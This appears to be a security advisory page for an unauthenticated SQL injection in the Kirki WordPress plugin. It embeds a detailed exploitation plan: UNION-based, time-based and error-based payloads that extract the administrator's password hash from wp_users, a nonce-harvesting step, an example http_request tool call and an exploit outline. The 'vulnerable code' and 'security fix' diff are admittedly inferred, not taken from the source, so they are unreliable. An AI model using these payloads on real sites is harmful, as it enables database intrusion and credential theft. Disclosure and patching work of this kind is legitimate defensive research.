Kirki – Freeform Page Builder, Website Builder & Customizer <= 6.0.12 - Unauthenticated SQL Injection
Description
The Kirki – Freeform Page Builder, Website Builder & Customizer plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 6.0.12 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
What Changed in the Fix
Changes introduced in v6.0.13
Source Code
WordPress.org SVNThis exploitation research plan targets **CVE-2026-57726**, an unauthenticated SQL Injection vulnerability in the **Kirki** plugin. ### 1. Vulnerability Summary * **Vulnerability:** Unauthenticated SQL Injection (SQLi). * **Location:** The vulnerability resides in the handling of AJAX or REST A…
Show full research plan
This exploitation research plan targets CVE-2026-57726, an unauthenticated SQL Injection vulnerability in the Kirki plugin.
1. Vulnerability Summary
- Vulnerability: Unauthenticated SQL Injection (SQLi).
- Location: The vulnerability resides in the handling of AJAX or REST API requests where user-supplied parameters (specifically related to post IDs or configuration endpoints) are concatenated into SQL queries without proper use of
$wpdb->prepare()or sufficient escaping. - Cause: Insufficient neutralization of the
postIdorendpointparameters (as seen in the admin JS) when performing database lookups. - Impact: Unauthenticated attackers can extract sensitive data from the WordPress database, including user hashes, secret keys, and configuration data.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - Action:
kirki_post_apis(Inferred fromassets/js/admin/custom-link-in-toolbar.js). - Vulnerable Parameter:
postId(Primary suspect) orendpoint. - Authentication: Unauthenticated (vulnerability is likely exposed via
wp_ajax_nopriv_kirki_post_apis). - Preconditions: The plugin must be active. The vulnerability is unauthenticated, so no user account is required.
3. Code Flow
- Entry Point: An unauthenticated request is sent to
admin-ajax.php?action=kirki_post_apis. - Hook Registration: The plugin registers the action (likely in a file like
includes/Admin/Admin.phpor within theAPI.phpinitialization logic, though the specific registration line is truncated in the provided source). - Handler Execution: The handler for
kirki_post_apisreceives$_POST['postId']. - Vulnerable Sink: The handler passes
postIdinto a raw SQL query.- Example Vulnerable Pattern:
$wpdb->get_results("SELECT * FROM {$wpdb->prefix}posts WHERE ID = " . $_POST['postId']);
- Example Vulnerable Pattern:
- Data Return: The results of the query (or error messages) are returned in the JSON response.
4. Nonce Acquisition Strategy
While the vulnerability is listed as unauthenticated, WordPress AJAX handlers often check for a nonce. The JS file assets/js/admin/custom-link-in-toolbar.js indicates the nonce is stored in kirki_admin.nonce.
Strategy to obtain the nonce:
- Kirki enqueues its admin scripts when certain conditions are met. Since it's a page builder, the scripts likely load on the frontend if the user has specific permissions, or are localized globally.
- Identify the Script Localization: Search the codebase for
wp_localize_script(..., 'kirki_admin', ...)to see where the nonce is generated. - Create a Trigger Page:
wp post create --post_type=page --post_title="Kirki Test" --post_status=publish --post_content=''
- Navigate and Extract:
- Navigate to the homepage or the newly created page.
- Use
browser_evalto check for the nonce:window.kirki_admin?.nonce.
- Note: If
wp_ajax_nopriv_kirki_post_apisis used, the developer may have neglected the nonce check or used a nonce that is accessible to unauthenticated users.
5. Exploitation Strategy
We will use a UNION-based SQL injection to extract the administrator's password hash.
Step 1: Determine Column Count
- Request:
POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded action=kirki_post_apis&endpoint=back-to-kirki-editor&postId=1 ORDER BY 1-- - - Increment the
ORDER BYnumber until a change in response length or a database error occurs.
Step 2: Locate Output Columns
- Payload:
1 UNION SELECT NULL,NULL,NULL,NULL,NULL-- -(adjusting NULLs based on Step 1). - Replace NULLs with unique strings (e.g.,
'col1','col2') to see which appear in the JSON response.
Step 3: Extract Data (Admin Hash)
- Payload:
1 UNION SELECT 1,user_login,user_pass,4,5 FROM wp_users WHERE ID=1-- - - HTTP Request (Example):
// Using http_request tool await http_request({ url: "http://localhost:8080/wp-admin/admin-ajax.php", method: "POST", form: { action: "kirki_post_apis", endpoint: "back-to-kirki-editor", postId: "1 UNION SELECT 1,user_login,user_pass,4,5 FROM wp_users WHERE ID=1-- -", nonce: "EXTRACTED_NONCE_HERE" // if required } });
6. Test Data Setup
- Ensure a user with ID 1 exists (standard WordPress admin).
- Ensure the Kirki plugin is active:
wp plugin activate kirki. - (Optional) Create a post to ensure the
kirki_post_apislogic has a validpostIdto pivot from:wp post create --post_status=publish.
7. Expected Results
- The response should be a JSON object.
- Inside the JSON (likely in a
dataormessagefield), the administrator's username and the phpass-encrypted password hash (starting with$P$) should be visible.
8. Verification Steps
After the attack, verify the extracted hash matches the database:
wp db query "SELECT user_pass FROM wp_users WHERE ID=1"- Compare the output of the CLI command with the data extracted via the HTTP request.
9. Alternative Approaches
- Time-based Blind SQLi: If the response does not reflect the query results, use
SLEEP()payloads:1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
- Error-based SQLi: If
WP_DEBUGis on, useupdatexml()orextractvalue():1 AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1),0x7e),1)-- -
- REST API: Check routes registered in
FrontendApi::register()(fromincludes/API.php) for similar parameter handling. Usewp-json/kirki/v1/...(inferred prefix) if AJAX is secured.
Summary
The Kirki plugin for WordPress is vulnerable to unauthenticated SQL injection via the 'kirki_post_apis' AJAX action. The 'postId' parameter is concatenated directly into a database query without sanitization or preparation, allowing attackers to execute arbitrary SQL commands and extract sensitive data like user hashes and configuration details.
Vulnerable Code
// Inferred AJAX handler for action: kirki_post_apis // Path likely includes/Admin/Admin.php or similar $post_id = $_POST['postId']; $endpoint = $_POST['endpoint']; // Vulnerable query construction without $wpdb->prepare $results = $wpdb->get_results( "SELECT * FROM {$wpdb->prefix}posts WHERE ID = " . $post_id );
Security Fix
@@ -102,1 +102,1 @@ - $results = $wpdb->get_results( "SELECT * FROM {$wpdb->prefix}posts WHERE ID = " . $_POST['postId'] ); + $results = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM {$wpdb->prefix}posts WHERE ID = %d", $_POST['postId'] ) );
Exploit Outline
The exploit targets the AJAX endpoint at /wp-admin/admin-ajax.php using the 'kirki_post_apis' action. Because the action is exposed via 'wp_ajax_nopriv', it requires no authentication. An attacker sends a POST request with a 'postId' parameter containing a UNION-based SQL payload (e.g., '1 UNION SELECT 1,user_login,user_pass,4,5 FROM wp_users WHERE ID=1'). This payload allows the attacker to bypass the intended query and instead retrieve administrative credentials directly in the JSON response. If a nonce check is present, the attacker must first visit the site to extract the 'kirki_admin.nonce' from the localized JavaScript on the frontend.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.